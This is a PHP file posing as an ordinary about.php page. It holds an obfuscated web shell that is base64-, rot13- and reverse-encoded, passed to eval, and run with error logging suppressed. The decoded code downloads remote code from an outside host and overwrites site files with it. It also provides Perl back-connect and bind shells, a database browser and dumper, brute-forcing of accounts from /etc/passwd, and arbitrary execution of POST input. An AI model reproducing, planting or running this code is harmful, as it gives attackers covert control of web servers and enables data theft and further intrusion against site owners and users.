관리-도구

편집 파일: about.php_h4d3385h

<?php $BtMLS = 'base'.'64'.'_'.'decode'; $FyYVp = 's'.'t'.'r'.'_rot1'.'3'; $WtfSb = 's'.'trrev'; error_reporting(0); ini_set('error_log', NULL); ini_set('log_errors', 0); ini_set('display_errors', 0); /* buqrvntojxvpimhu o **/ eval($WtfSb($FyYVp($BtMLS('
;gvkr
;)]'n'[GFBC_$ . 'abvgpn'(pahs_erfh_yynp	
) )]'n'[GFBC_$ . 'abvgpn'(fgfvkr_abvgpahs && )]'n'[GFBC_$(lgczr! (sv
;'bsaVprF' = ]'n'[GFBC_$		
rfyr	
;abvgpn_gyhnsrq$ = ]'n'[GFBC_$		
))abvgpn_gyhnsrq$ . 'abvgpn'(fgfvkr_abvgpahs && )abvgpn_gyhnsrq$(grffv(sv	
) )]'n'[GFBC_$(lgczr (sv
}
}	
;)]'1c'[GFBC_$(ynir		
{ rfyr }	
;)n$(rmvynverf bupr		
;)		
)'rqbz_rsnf'(grt_vav@ >= "rqbzrsnf"			
,ABVFERI_BFJ >= "abvferi_bfj"			
,)(abvfericuc >= "abvferi_cuc"			
,)(rznah_cuc >= "rznah"			
(lneen = n$		
{ )]'1c'[GFBC_$@!(sv	
{ )(PEabvgpn abvgpahs

}
;)(ergbbSbfj	
;">gcvepf/< ;'ryvsrzna$'=sreu.abvgnpby >gcvepf<" bupr	
;">ergarp/<>eo<! rabQ/.>ergarp<" bupr	
;)cuc$ ,ryvsrzna$(fgargabp_ghc_ryvs	
}	
;'yzguc.'.]1[2ryvsrzna$ = ryvsrzna$		
;)2ryvsrzna$ ,ryvsrzna$ ,"#yzguc.\)*.(#"(upgnz_trec		
{))ryvsrzna$ ,"/yzguc.\/"(upgnz_trec(svrfyr}	
;'7cuc.'.]1[2ryvsrzna$ = ryvsrzna$		
;)2ryvsrzna$ ,ryvsrzna$ ,"#7cuc.\)*.(#"(upgnz_trec		
{))ryvsrzna$ ,"/7cuc.\/"(upgnz_trec(svrfyr}	
;'5cuc.'.]1[2ryvsrzna$ = ryvsrzna$		
;)2ryvsrzna$ ,ryvsrzna$ ,"#5cuc.\)*.(#"(upgnz_trec		
{))ryvsrzna$ ,"/5cuc.\/"(upgnz_trec(svrfyr}	
;'cuc.'.]1[2ryvsrzna$ = ryvsrzna$		
;)2ryvsrzna$ ,ryvsrzna$ ,"#cuc.\)*.(#"(upgnz_trec		
{))ryvsrzna$ ,"/cuc.\/"(upgnz_trec(sv	
;)__RYVS__(rznarfno = ryvsrzna$	
} ;)(rvq ;)(ergbbSbfj ;'>ergarp/<>gabs/<>c/<.qryvnS ]-[>c<>"qre"=ebybp gabs<>ergarp<' bupr {))cuc$ ,"/cuc?\</"(upgnz_trec!(sv	
;)"zgu.79136921028s03q89r89709s76328369/rivy.xpngfryvs//:cggu"(fgargabp_grt_cggu =  cuc$	
}	
}		
;krqbp$ aehgre			
{ rfyr}		
;)rtnCyeh$(aehgre			
;)up$(rfbyp_yehp			
;)up$(prkr_yehp = rtnCyeh$			
;)"0.34/kbsrevS 10100102/bxprT )0.34:ie ;46JBJ ;0.01 GA fjbqavJ( 0.5/nyyvmbZ" ,GARTNERFH_GCBYEHP ,up$(gcbgrf_yehp			
;)rheg,ABVFFRFRVXBBP_GCBYEHP ,up$(gcbgrf_yehp			
;)51 ,GHBRZVG_GCBYEHP ,up$(gcbgrf_yehp			
;)51 ,GHBRZVGGPRAABP_GCBYEHP ,up$(gcbgrf_yehp			
;)0 ,GFBULSVERI_YFF_GCBYEHP ,up$(gcbgrf_yehp			
;)0 ,ERRCLSVERI_YFF_GCBYEHP ,up$(gcbgrf_yehp			
;)1 ,ERSFANEGAEHGRE_GCBYEHP ,up$(gcbgrf_yehp			
;)1 ,ABVGNPBYJBYYBS_GCBYEHP ,up$(gcbgrf_yehp			
 ;)0 ,ERQNRU_GCBYEHP ,up$(gcbgrf_yehp			
;)yeh$ ,YEH_GCBYEHP ,up$(gcbgrf_yehp			
;)(gvav_yehp = up$			
{))krqbp$(lgczr( sv		
;)yeh$(fgargabp_grt_ryvs@ = krqbp$		
{)yeh$(fgargabp_grt_cggu abvgpahs	
;">gargabp=ffnyp ivq<>1u/<rgnqCH>1u<" bupr	
;)(erqnrUbfj	
{ )(rgnQCHabvgpn abvgpahs

}
;)(ergbbSbfj	
;'>ivq/<' bupr	
}	
}		
;)"yc.po/czg/"(xavyah            
;">rec/<".)"yc.po cret | khn fc"(kRbfj."a\ghb$>1yz=ffnyp rec<" bupr			
;)1(crryf            
;)"& 1&>2 yyha/irq/>1 ".]'3c'[GFBC_$." ".]'2c'[GFBC_$." yc.po/czg/ yerc"(kRbfj = ghb$			
;)c_gpraabp_xpno$,"yc.po/czg/"(sp			
{ )'cpo' == ]'1c'[GFBC_$(sv		
}		
;)"yc.co/czg/"(xavyah            
;">rec/<".)"yc.co cret | khn fc"(kRbfj."a\ghb$>1yz=ffnyp rec<" bupr			
;)1(crryf            
;)"& 1&>2 yyha/irq/>1 ".]'2c'[GFBC_$." yc.co/czg/ yerc"(kRbfj = ghb$			
;)c_gebc_qavo$,"yc.co/czg/"(sp			
{ )'cco' == ]'1c'[GFBC_$(sv		
}		
}			
;)j$(rfbyps@				
;))g$(rqbprq_46rfno@,j$(rgvejs@				
{)j$(sv			
;)'fgargabp_ghc_ryvs'(fgfvkr_abvgpahs@ eb )"j",s$(arcbs@ = j$			
{ )g$,s$(sp abvgpahs		
{ ))]'1c'[GFBC_$(grffv(sv	
;">eo<>zebs/<	
>'>>'=rhyni gvzohf=rclg ghcav< >'73313'=rhyni 'gebc'=rzna 'gkrg'=rclg ghcav< :gebC >'". ]'EQQN_RGBZRE'[ERIERF_$ ."'=rhyni 'erierf'=rzna 'gkrg'=rclg ghcav< :erierF	
>/eo<>ancf/<]yerc[  gpraabp-xpnO>ancf<	
>"\;rfyns aehgre;)rhyni.gebc.fvug,rhyni.erierf.fvug,'cpo',yyha,yyha(t"\=gvzohFab 'csa'=rzna zebs<	
>zebs/<	
>'>>'=rhyni gvzohf=rclg ghcav< >'73313'=rhyni 'gebc'=rzna 'gkrg'=rclg ghcav< :gebC	
>/eo<>ancf/<]yerc[ uf/avo/ bg gebc qavO>ancf<	
>"\;rfyns aehgre;)rhyni.gebc.fvug,'cco',yyha,yyha(t"\=gvzohFab 'csa'=rzna zebs<	
>gargabp=ffnyp ivq<>1u/<fybbg xebjgrA>1u<" bupr	
;"=0aPA0KPX0jBjNPqcuKMWxtPAfwGB90DtH2pik2LWxtPAfwVhkSGZIRFGEPVyEKqwITryOPqhS2DvNvGB90DtDaocWUptHJnxOPs8OPGZIRFGEPVwITryyDPX0jBv4xGCAxW+VPYFWIERE1Ht4JMj9JPWbDQ7VvGB90Dz4wVfDIICERIGOvoyO3oWxtPAfwVB50GQMPCvjvGWERIGOvoyO3oWxtPAfGXxyTpxNPMy5JnzITMutPVzyTVvfzpiMTV09zohS2DvNFMcEJPWbDQ7OFXcfzpiMJCxyTpxtFVbLJnWbDQ7xlHf4xGCARX0OKMwAJLWbDQ7OFXktFMfyTn3cDQ7VvopEapiOUVhITqmyTotDaouAxVtHJnxOPs8OFXmjlHb4JM0AKnfcDQ7VvopEapiOUVhITpiOPqhS2DvNFMcETV8kUVcxFJBS0KFEREO5HFf0SZoM1EFSRWb4JnsWUMxS2nw92pfZSXx5JnvcDQ7xFZfVSERSHEGIIEF91GGkPISg0DCA1KZ90HfZSX0O3oeA2omEKMmcDQ7VvopEKMeA2omOFM0SJMlATV05JLQWPVyyTMtjUstxFXaN3L0qPXy1JLhyaLiE3olOUqyqTYASHEFE1Hsg0DCAyWfDIEBy0KTOyWfZSX0I2nw92pX0jB0I2nw92HtH2p1cDQ9OlBcRQX0yTryOlrtxFZtjQVJqxHOORXtLJnX0jBvxJYtt2pi4Jnv9vV9jRGSu0HxbDQfWKMj9vocW2YlAKqiRlV"=c_gebc_qavo$	
;"7xvHFIREHASXyA3ofAzPAfGXHI1GRE1HbH2pik2LX0jBc4HFRE1HbH2pik2LX0jBcpFngNPnm9vocW2YatFoyE3p5AaPAfGXvDIEYA0GGMvCvNPYFWIERE1Hb4JMj9zPAfGXvDIEYA0GGMvCvNPYHI1GRE1Hb4JMj9zPAfGXvDIEYA0GGMvCvNPYByREHASXhITpicDQ7xvVhkIVxNvBl9zplIxVbHJnxOPs8OFXlETMuOUWtjPISg0DCASX0AJMh52owcDQ7xvVhkIVxNvBl9zplIxVbHJnxOPs8OFXiE3olOUWtjFGOIxHHA1KYA0GGOPYHIxGW9yEDOPYHI0FQ90HbDKMeA2omcDQ7xlWjATqatFMgSzo5W2o09zpjEKMa1mo09zpjEvPAfGXv4TKuDPV6V3olWKEvtFMcETV8kUVcVUMxSJnxNPYqSmJJqxHOEPXhy2KlETMug2LiAKClETMuOUWX0jBcVvopSPWtbwpiWapSWPXyyTMtjUstxFKjfyIUWIDxtvoiEKLsEKMhyJClETMuyTWX0jB0I2nw92HtH2p1cDQfWKMj9vocW2YlAKqiRlV"=c_gpraabp_xpno$	
;)(erqnrUbfj	
{ )(xebjgrAabvgpn abvgpahs
}
;)(ergbbSbfj	
;'>ivq/<' bupr	
}    
;))(ebeer>-oq$(fenupynvprcfyzgu bupr        
{ rfyr }	
}			
;'>rec/<'.)]'ryvs'[ryvs$(fenupynvprcfyzgu.'>1yz=ffnyp rec<>/eo<' bupr				
;)]'2c'[GFBC_$(ryvSqnby>-oq$ = ryvs$				
{ )'ryvsqnby' == ]'1c'[GFBC_$@(sv			
}            
;">zebs/<>'>>'=rhyni gvzohf=rclg ghcav<>s=rzna gkrg=rclg 'caVfybbg'=ffnyp  ghcav< >ancf/<ryvs qnbY>ancf<>';rfyns aehgre;)(gvzohf.sf.garzhpbq;rhyni.s.fvug=rhyni.2c.sf.garzhpbq;"\ryvsqnby"\=rhyni.1c.sf.q'=gvzohfab zebs<" bupr                    
))(upgrs>-oq$(sv                
;)"'l' = `ivec_ryvS` QAN )(ERFH = )`gfbu` ,'@' ,`erfh`(gnpabp RERUJ erfh.ydflz ZBES 1 GPRYRF"(lerhd>-oq$                
{ )'ydflz'==]'rclg'[GFBC_$(sv            
;">/eo<>zebs/<>ryong/<" bupr			
}			
;">eg/<>qg/<" bupr				
;">'rghprkR'=rhyni gvzohf=rclg ghcav<>/eo<>nrengkrg/<" bupr                
;)]'2c'[GFBC_$(fenupynvprcfyzgu bupr                    
))'ryvsqnby' =! ]'1c'[GFBC_$( && )]'2c'[GFBC_$(lgczr!(sv                
;">'kc001:gutvru;%001:ugqvj'=rylgf 'lerhd'=rzna nrengkrg<>';rfyns aehgre;)(gvzohf.sf.garzhpbq;rhyni.lerhd.fvug=rhyni.2c.sf.q;"\lerhd"\=rhyni.1c.sf.q'=gvzohfab zebs<>zebs/<>eo<" bupr				
}				
}					
;'>ivq/<'.))(ebeer>-oq$(fenupynvprcfyzgu.' >o/<:ebeeR>o<>ivq<' bupr						
{ rfyr }					
;'>ryong/<' bupr						
}						
;'>eg/<' bupr							
}							
;'>qg/<'.))rhyni$(fenupynvprcfyzgu(eo2ya.'>qg<' bupr									
rfyr								
;'>qg/<>v/<yyha>v<>qg<' bupr									
)yyha == rhyni$(sv								
{ )rhyni$ >= lrx$ fn zrgv$(upnrebs							
;1:2?1==ravy$ = ravy$							
;'>"'.ravy$.'y"=ffnyp eg<' bupr							
}							
;2 = ravy$								
;'>eg<>eg/<' bupr								
;rheg=rygvg$								
;)zrgv$(grfre								
;'>ug/<'.lrx$.'>ug<' bupr									
)rhyni$ >= lrx$ fn zrgv$(upnrebs								
;'>eg<' bupr								
{	)rygvg$!(sv							
{	))(upgrs>-oq$ = zrgv$(ryvuj						
;1 = ravy$						
;'>"929292#:ebybp-qahbetxpno"=rylgf avnz=ffnyp 2=tavqqncyyrp 1=tavpncfyyrp %001=ugqvj ryong<' bupr						
;rfyns = rygvg$						
{ )rfyns ==! fre>-oq$(sv					
;)]'2c'[GFBC_$@(lerhd>-oq$					
{ ))]'2c'[GFBC_$(lgczr! && )'lerhd' == ]'1c'[GFBC_$@((sv				
}				
;">eo<>eo<" bupr					
;'03,'.)03*]'3c'[GFBC_$(.' GVZVY `'.]'2c'[GFBC_$.'` ZBES * GPRYRF' = ]'2c'[GFBC_$						
rfyr					
;)03*]'3c'[GFBC_$(.' GRFSSB 03 GVZVY '.]'2c'[GFBC_$.' ZBES * GPRYRF' = ]'2c'[GFBC_$						
)'ydftc'==]'rclg'[GFBC_$(sv					
;--]'3c'[GFBC_$                    
;">n/<;gt& gkrA>')" . )1+]'3c'[GFBC_$( . ' ,"' . ]'2c'[GFBC_$ . ""\(gf'=xpvypab #=sreu n< " bupr                        
)frtnc$ < ]'3c'[GFBC_$(sv                    
;">n/<ireC ;gy&>')" . )1-]'3c'[GFBC_$( . ' ,"' . ]'2c'[GFBC_$ . ""\(gf'=xpvypab #=sreu n< " bupr                        
)1 > ]'3c'[GFBC_$(sv                    
;"frtnc$ sb " bupr                    
;">" . )]'3c'[GFBC_$)gav(( . "=rhyni '3c'=rzna gkrg=rclg ghcav< # rtnC )fqebpre }]'a'[zha${( >ancf/<".]'2c'[GFBC_$.">ancf<>gcvepf/<})rhyni.3c.sf.q ,"\" . ]'2c'[GFBC_$ . ""\(gf{)(abvgpahs=gvzohfab.sf.q>gcvepf<" bupr                    
;)03 / ]'a'[zha$(yvrp = frtnc$					
;)(upgrs>-oq$ = zha$					
;)]'2c'[GFBC_$ . ' ZBES a fn )*(GAHBP GPRYRF'(lerhd>-oq$					
;1:]'3c'[GFBC_$?]'3c'[GFBC_$ = ]'3c'[GFBC_$                    
;'lerhd' = ]'1c'[GFBC_$					
{ )'gpryrf' == ]'1c'[GFBC_$@(sv				
;">';666# qvybf kc2:cbg-erqebo'=rylgf qg<>qg/<>'ydf.czhq'=rhyni ryvs=rzna gkrg=rclg ghcav<:ugnc ryvS>eo<>';)(gvzohf.sf.garzhpbq;"\qnbyajbq"\=rhyni.2c.sf.garzhpbq'=xpvypab 'czhQ'=rhyni abggho=rclg ghcav< >';)(fv'=xpvypab 'kboxprup'=rclg ghcav<" bupr				
}				
;">eo<>eoba/<" . )">yynzf/<)}]'a'[a${(>yynzf< ":';cfoa&'?)]'gahbp_ydf'[GFBC_$(lgczr( . ">n/<".rhyni$.">"\)1,'".rhyni$."'(gf"\=xpvypab #=sreu n<;cfoa&>'".rhyni$."'=rhyni '][yog'=rzna 'kboxprup'=rclg ghcav<>eoba<" bupr					
;)rhyni$(fenupynvprcfyzgu = rhyni$					
;))''.rhyni$.' ZBES a fn )*(GAHBP GPRYRF'(lerhd>-oq$(upgrs>-oq$ = a$                        
))]'gahbp_ydf'[GFBC_$(lgczr!(sv                    
;)zrgv$(upnr = )rhyni$ ,lrx$(gfvy					
{ ))fre_fyog$(upgrs>-oq$ = zrgv$(ryvuj				
;)(fryonGgfvy>-oq$ = fre_fyog$				
;">eo<>eo<>ancf/<:fryonG>ancf<>';666# qvybf kc2:cbg-erqebo'=rylgf 1=ugqvj qg<>eg<" bupr				
;)]'rfno_ydf'[GFBC_$(oqgpryrf>-oq$				
{))]'rfno_ydf'[GFBC_$(lgczr!(sv			
;">0=tavpncfyyrp 2=tavqqncyyrp %001=ugqvj ryong<>/eo<" bupr		
{)xavy>-oq$ && )oq$(grffv(sv	
;">gcvepf/<		
}			
;qrxprup.]v[]'][yog'[fgarzryr.sf.q! = qrxprup.]v[]'][yog'[fgarzryr.sf.q					
)v++;ugtary.]'][yog'[fgarzryr.sf.q<v;0=v(ebs				
{ )(fv abvgpahs			
}			
;)(gvzohf.sf.q				
;y = rhyni.3c.sf.q )3c.sf.q && y(sv                
;g = rhyni.2c.sf.q				
;'gpryrf' = rhyni.1c.sf.q				
{ )y,g(gf abvgpahs			
}            
}                
;''=rhyni.3c.s )3c.s(sv                    
;''=rhyni.2c.s )2c.s(sv                    
;''=rhyni.1c.s )1c.s(sv                    
;}{ )(abvgpahs = gvzohfab.s { )oq_f=!rhyni.rfno_ydf.s(sv                
{ )s(fs abvgpahs            
;'".)]'rfno_ydf'[GFBC_$(frufnyfqqn@."'=oq_f            
>gcvepf<		
>ryong/<		
>eg/<			
>qg/<fjbe sb erozha rug gahbp >" . )'qrxprup ':''?)]'gahbp_ydf'[GFBC_$(lgczr( . "'ab'=rhyni gahbp_ydf=rzna kboxprup=rclg ghcav<>qg<                
>qg/<>';)sf.q(fs'=xpvypab '>>'=rhyni gvzohf=rclg ghcav<>qg<				
>qg/<" bupr	
;czg$ bupr		
rfyr}	
;czg$ bupr rfyr		
}		
;'>gpryrf/<' bupr			
}			
;'>abvgcb/<'.rhyni$.'>'.)'':'qrgpryrf'?]'rfno_ydf'[GFBC_$==rhyni$(.' "'.rhyni$.'"=rhyni abvgcb<' bupr				
;)zrgv$(upnr = )rhyni$ ,lrx$(gfvy				
{ ))(upgrs>-oq$ = zrgv$(ryvuj			
;">abvgcb/<>''=rhyni abvgcb<>rfno_ydf=rzna gpryrf<" bupr			
;)(foQgfvy>-oq$			
}			
;xnreo ;)'668cp'(grfenuPgrf>-oq$ :"668cp" rfnp				
;xnreo ;)'h8vbx'(grfenuPgrf>-oq$ :"H-8VBX" rfnp				
;xnreo ;)'e8vbx'(grfenuPgrf>-oq$ :"E-8VBX" rfnp				
;xnreo ;)'8sgh'(grfenuPgrf>-oq$ :"8-SGH" rfnp				
;xnreo ;)'1521cp'(grfenuPgrf>-oq$ :"1521-fjbqavJ" rfnp				
{ )]'grfenup'[GFBC_$(upgvjf			
{ ))]'rfno_ydf'[GFBC_$ ,]'ffnc_ydf'[GFBC_$ ,]'avtby_ydf'[GFBC_$ ,]'gfbu_ydf'[GFBC_$(gpraabp>-oq$(sv		
{))]'gfbu_ydf'[GFBC_$(grffv(sv	
;">''=rhyni rfno_ydf=rzna gkrg=rclg ghcav<" = czg$	
;">qg<>qg/<>"\". ))]'ffnc_ydf'[GFBC_$(fenupynvprcfyzgu:''?)]'ffnc_ydf'[GFBC_$(lgczr( .""\=rhyni ffnc_ydf=rzna gkrg=rclg ghcav<>qg<
>qg/<>"\". ))]'avtby_ydf'[GFBC_$(fenupynvprcfyzgu:'gbbe'?)]'avtby_ydf'[GFBC_$(lgczr( .""\=rhyni avtby_ydf=rzna gkrg=rclg ghcav<>qg<
>qg/<>"\". ))]'gfbu_ydf'[GFBC_$(fenupynvprcfyzgu:'gfbuynpby'?)]'gfbu_ydf'[GFBC_$(lgczr( .""\=rhyni gfbu_ydf=rzna gkrg=rclg ghcav<>qg<
>qg/<>gpryrf/<>abvgcb/<ydFretgfbC>" bupr
;'qrgpryrf' bupr)'ydftc'==]'rclg'[GFBC_$@(sv
;" 'ydftc'=rhyni abvgcb<>abvgcb/<ydFlZ>" bupr
;'qrgpryrf' bupr)'ydflz'==]'rclg'[GFBC_$@(sv    
;" 'ydflz'=rhyni abvgcb<>'rclg'=rzna gpryrf<>qg<
>'". )'':]'grfenup'[GFBC_$?)]'grfenup'[GFBC_$(grffv( ."'=rhyni grfenup=rzna arqqvu=rclg ghcav<>'". )]'qjp'[FYNOBYT$(fenupynvprcfyzgu ."'=rhyni p=rzna arqqvu=rclg ghcav<>''=rhyni 2c=rzna arqqvu=rclg ghcav<>'lerhd'=rhyni 1c=rzna arqqvu=rclg ghcav<>ydF=rhyni n=rzna arqqvu=rclg ghcav<
>eg<>eg/<>qg/<>qg<>qg/<rfnongnQ>qg<>qg/<qebjffnC>qg<>qg/<avtbY>qg<>qg/<gfbU>qg<>qg/<rclG>qg<
>eg<>'0'=tavpncfyyrp '2'=tavqqncyyrp ryong<>';)fvug(fs'=gvzohfab 'gfbc'=qbugrz 'sf'=rzna zebs<
>gargabp=ffnyp ivq<>1u/<erfjbeo ydF>1u<
" bupr	
;)(erqnrUbfj	
}	
;)'>gcvepf/<)1-(xpno.lebgfvu.jbqavj;)"ryvs arcb g'\anP !ebeeR"(geryn>gcvepf<'(rvq            
rfyr }        
;)]'2c'[GFBC_$(grfah            
;)cs$(rfbyps            
;)cs$ ,i$(czhq>-oq$                
)i$ fn ]'yog'[GFBC_$(upnrebs            
{ ))'j' ,]'ryvs'[GFBC_$(arcbs@ = cs$(svrfyr }        
;gvkr            
;)i$(czhq>-oq$				
)i$ fn ]'yog'[GFBC_$(upnrebs            
;)"avnyc/gkrg :rclG-gargabP"(erqnru            
;)"ydf.czhq=rznaryvs ;garzupnggn :abvgvfbcfvQ-gargabP"(erqnru            
;)6904 ,"eryqanumt_ob"(gengf_ob            
{ ))]'ryvs'[GFBC_$(lgczr(sv        
}        
;xnreo ;)'668cp'(grfenuPgrf>-oq$ :"668cp" rfnp            
;xnreo ;)'h8vbx'(grfenuPgrf>-oq$ :"H-8VBX" rfnp            
;xnreo ;)'e8vbx'(grfenuPgrf>-oq$ :"E-8VBX" rfnp            
;xnreo ;)'8sgh'(grfenuPgrf>-oq$ :"8-SGH" rfnp            
;xnreo ;)'1521cp'(grfenuPgrf>-oq$ :"1521-fjbqavJ" rfnp            
{ )]'grfenup'[GFBC_$(upgvjf        
;)]'rfno_ydf'[GFBC_$(oqgpryrf>-oq$		
;)]'rfno_ydf'[GFBC_$ ,]'ffnc_ydf'[GFBC_$ ,]'avtby_ydf'[GFBC_$ ,]'gfbu_ydf'[GFBC_$(gpraabp>-oq$		
{ ))'gpryrf'=!]'1c'[GFBC_$@( && )'qnbyajbq'==]'2c'[GFBC_$@((sv	
;)]'rclg'[GFBC_$(ffnyPoQ jra = oq$	
;}	
}		
;rfyns aehgre			
}			
;xnreo				
}					
;)ydf$(bupr rfyr ;)ydf$ ,cs$(rgvejs )cs$(sv                        
;"a\".';)'.)zrgv$ ," ,"(rqbyczv.'( FRHYNI )'.)fazhybp$ ," ,"(rqbyczv.'( '.ryong$.' BGAV GERFAV' = ydf$                        
}						
;x$ = ][fazhybp$							
;"'".)i$(frufnyfqqn."'" = ]x$[zrgv$							
{ )i$>=x$ fn zrgv$(upnrebs						
;)(lneen = fazhybp$						
{ ))(upgrs>-fvug$ = zrgv$(ryvuj					
;)ryong$.' ZBES * GPRYRF'(lerhd>-fvug$					
:'ydftc' rfnp				
;xnreo				
;)"a\a\;"(bupr rfyr ;)"a\a\;" ,cs$(rgvejs )cs$(sv                        
)qnru$!(sv                    
}					
;++v$                        
;)ydf$(bupr rfyr ;)ydf$ ,cs$(rgvejs )cs$(sv                        
;')'.)zrgv$ ," ,"(rqbyczv."(,g\a\" =. ydf$                            
rfyr }                        
;rfyns = qnru$                            
;')'.)zrgv$ ," ,"(rqbyczv."(g\a\ FRHYNI )".)fazhybp$ ," ,"(rqbyczv.'( `'.ryong$.'` BGAV GERFAV' =. ydf$                            
{ )qnru$(sv                        
}						
;"`".x$."`" = ][fazhybp$							
;"'".)i$(tavegf_rcnpfr_ynre_ydflz@."'" = ]x$[zrgv$                                
rfyr                            
;i$ = ]x$[zrgv$                                
))i$(gav_fv(svrfyr                            
;"YYHA" = ]x$[zrgv$                                
)yyha === i$(sv                            
{ )i$>=x$ fn zrgv$(upnrebs						
;)(lneen = fazhybp$						

}                        
;"a\a\;" = ydf$                            
;rheg = qnru$                            
{ )0 == 0001 % v$(sv                        
;'' = ydf$                        
{ ))(upgrs>-fvug$ = zrgv$(ryvuj					
;rheg = qnru$                    
;0 = v$                    
;)'`'.ryong$.'` ZBES * GPRYRF'(lerhd>-fvug$					
;)ydf$(bupr rfyr ;)ydf$ ,cs$(rgvejs )cs$(sv                    
;"a\;".]1[rgnrep$ = ydf$					
;)fre$(lneen_upgrs_ydflz = rgnrep$					
;)'`'.ryong$.'` RYONG RGNREP JBUF'(lerhd>-fvug$ = fre$					
:'ydflz' rfnp				
{	)rclg>-fvug$(upgvjf			
{ )rfyns = cs$ ,ryong$(czhq abvgpahs		
}		
;rfyns aehgre			
}			
;xnreo				
;))e$,"a\"(rqbyczv>='ryvs'(lneen aehgre					
;)'2bfj ryong cbeq'(lerhd>-fvug$					
;]'ryvs'[v$ = ][e$						
))(upgrs>-fvug$=v$(ryvuj					
;)(lneen=e$					
;)";2bfj zbes ryvs gpryrf;'".)egf$(frufnyfqqn."' ZBES 2bfj LCBP;)gkrg ryvs(2bfj RYONG RGNREP"(lerhd>-fvug$					
:'ydftc' rfnp				
;xnreo				
;))"ryvs fn )'".)egf$(frufnyfqqn."'(RYVS_QNBY GPRYRF"(lerhd>-fvug$(upgrs>-fvug$ aehgre					
:'ydflz' rfnp				
{	)rclg>-fvug$(upgvjf			
{ )egf$(ryvSqnby abvgpahs		
}		
;rfyns aehgre			
}			
;xnreo					
;)egf$ ,xavy>-fvug$(tavqbpar_garvyp_grf_tc@ aehgre					
:'ydftc' rfnp				
;xnreo					
;)egf$.' GRFENUP GRF'(lerhd>-fvug$						
rfyr					
;)xavy>-fvug$ ,egf$(grfenup_grf_ydflz@ aehgre						
))'grfenup_grf_ydflz'(fgfvkr_abvgpahs(sv					
:'ydflz' rfnp				
{	)rclg>-fvug$(upgvjf			
{ )egf$(grfenuPgrf abvgpahs		
}		
;rfyns aehgre			
}			
;xnreo				
;)(ebeer_gfny_tc@ aehgre					
:'ydftc' rfnp				
;xnreo				
;)(ebeer_ydflz@ aehgre					
:'ydflz' rfnp				
{	)rclg>-fvug$(upgvjf			
{ )(ebeer abvgpahs		
}		
;rfyns aehgre			
}			
;xnreo				
;)"'tbyngnp_tc' =! nzrupf_ryong QAN 'nzrupf_abvgnzebsav' =! nzrupf_ryong reruj fryong.nzrupf_abvgnzebsav zbes rzna_ryong gpryrf"(lerhd>-fvug$ = fre>-fvug$ aehgre					
:'ydftc' rfnp				
;xnreo				
;)'FRYONG JBUF'(lerhd>-fvug$ = fre>-fvug$ aehgre					
:'ydflz' rfnp				
{	)rclg>-fvug$(upgvjf			
{ )(fryonGgfvy abvgpahs		
}		
;rfyns aehgre			
}			
;xnreo				
;)"'g'=!rgnyczrgfvgnq RERUJ rfnongnq_tc ZBES rznagnq GPRYRF"(lerhd>-fvug$ = fre>-fvug$ aehgre					
:'ydftc' rfnp				
;xnreo				
;)"frfnongnq JBUF"(lerhd>-fvug$ aehgre                        
:'ydflz' rfnp				
{	)rclg>-fvug$(upgvjf			
{ )(foQgfvy abvgpahs		
}		
;rfyns aehgre			
}			
;xnreo					
;)fre$(pbffn_upgrs_tc@ aehgre					
:'ydftc' rfnp				
;xnreo					
;)fre$(pbffn_upgrs_ydflz@ aehgre					
:'ydflz' rfnp				
{	)rclg>-fvug$(upgvjf			
;fre>-fvug$:)0(ten_grt_pahs?)(ften_zha_pahs = fre$			
{ )(upgrs abvgpahs		
}		
;rfyns aehgre			
}			
;xnreo					
;)egf$,xavy>-fvug$(lerhd_tc@ = fre>-fvug$ aehgre					
:'ydftc' rfnp				
;xnreo					
;)egf$(lerhd_ydflz@ = fre>-fvug$ aehgre					
:'ydflz' rfnp				
{ )rclg>-fvug$(upgvjf			
{ )egf$(lerhd abvgpahs		
}		
;rfyns aehgre			
}			
;xnreo					
;rheg aehgre))oq$(oq_gpryrf_ydflz@( sv					
:'ydflz' rfnp				
{	)rclg>-fvug$(upgvjf			
{ )oq$(oqgpryrf abvgpahs		
}		
;rfyns aehgre			
}			
;xnreo					
;rheg aehgre ) )"rznaoq$=rznaoq ffnc$=qebjffnc erfh$=erfh }]1[gfbu${=gebc }]0[gfbu${=gfbu"(gpraabp_tc@ = xavy>-fvug$ (sv					
;2345=]1[gfbu$ )]1[gfbu$!(sv					
;)gfbu$ ,':'(rqbyckr = gfbu$					
:'ydftc' rfnp				
;xnreo					
;rheg aehgre ) )rheg,ffnc$,erfh$,gfbu$(gpraabp_ydflz@ = xavy>-fvug$ (sv					
:'ydflz' rfnp				
{	)rclg>-fvug$(upgvjf			
{)rznaoq$ ,ffnc$ ,erfh$ ,gfbu$(gpraabp abvgpahs		
}		
;rclg$ = rclg>-fvug$			
{	)rclg$(ffnyPoQ abvgpahs		
;fre$ eni		
;xavy$ eni		
;rclg$ eni		
{ ffnyPoQ ffnyp	
{ )(ydFabvgpn abvgpahs

}
;)(ergbbSbfj	
;'>eo<>ivq/<' bupr	
;'>ryong/<>zebs/<>eg/<>qg/<>">>"=rhyni gvzohf=rclg ghcav<>qg<>qg/<>qg<>eg<>eg/<>qg/<'.		
'>ryong/<>eg/<>qg/<>"pvq.qjffnc'.)]'qjp'[FYNOBYT$(fenupynvprcfyzgu.'"=rhyni gpvq=rzna gkrg=rclg ghcav<>qg<'.		
'>qg/<>ancf/<lenabvgpvQ>ancf<>qg<>eg<'.		
'>eg/<>qg/<>"gbbe"=rhyni avtby=rzna gkrg=rclg ghcav<>qg<'.		
'>qg/<>ancf/<avtbY>ancf<>qg<>eg<>"kc51:gsry-tavqqnc"=rylgf ryong<>qg<>qg/<>qg<>eg<'.		
'>eg/<>qg/<>yrony/<lenabvgpvQ >"2"=rhyni rclg=rzna bvqne=rclg ghcav<>yrony<>qg<>qg/<>qg<>eg<'.		
'>eg/<>qg/<>yrony/<)ybtva >- avtby( rferire >qrxprup 1=rhyni rferire=rzna kboxprup=rclg ghcav<>"kc51:gsry-tavqqnc"=rylgf yrony<>qg<>qg/<>qg<>eg<'.		
'>eg/<>qg/<>yrony/<qjffnc/pgr/ >qrxprup "1"=rhyni rclg=rzna bvqne=rclg ghcav<>yrony<>qg<'.		
'>qg/<>ancf/<rclg rgheO>ancf<>qg<>eg<'.		
'>eg/<>qg/<>"1.0.0.721"=rhyni erierf=rzna gkrg=rclg ghcav<>qg<'.		
'>qg/<>ancf/<gebc:erierF>ancf<'.		
'>"'.)]'grfenup'[GFBC_$(fenupynvprcfyzgu.'"=rhyni grfenup=rzna arqqvu=rclg ghcav<'.		
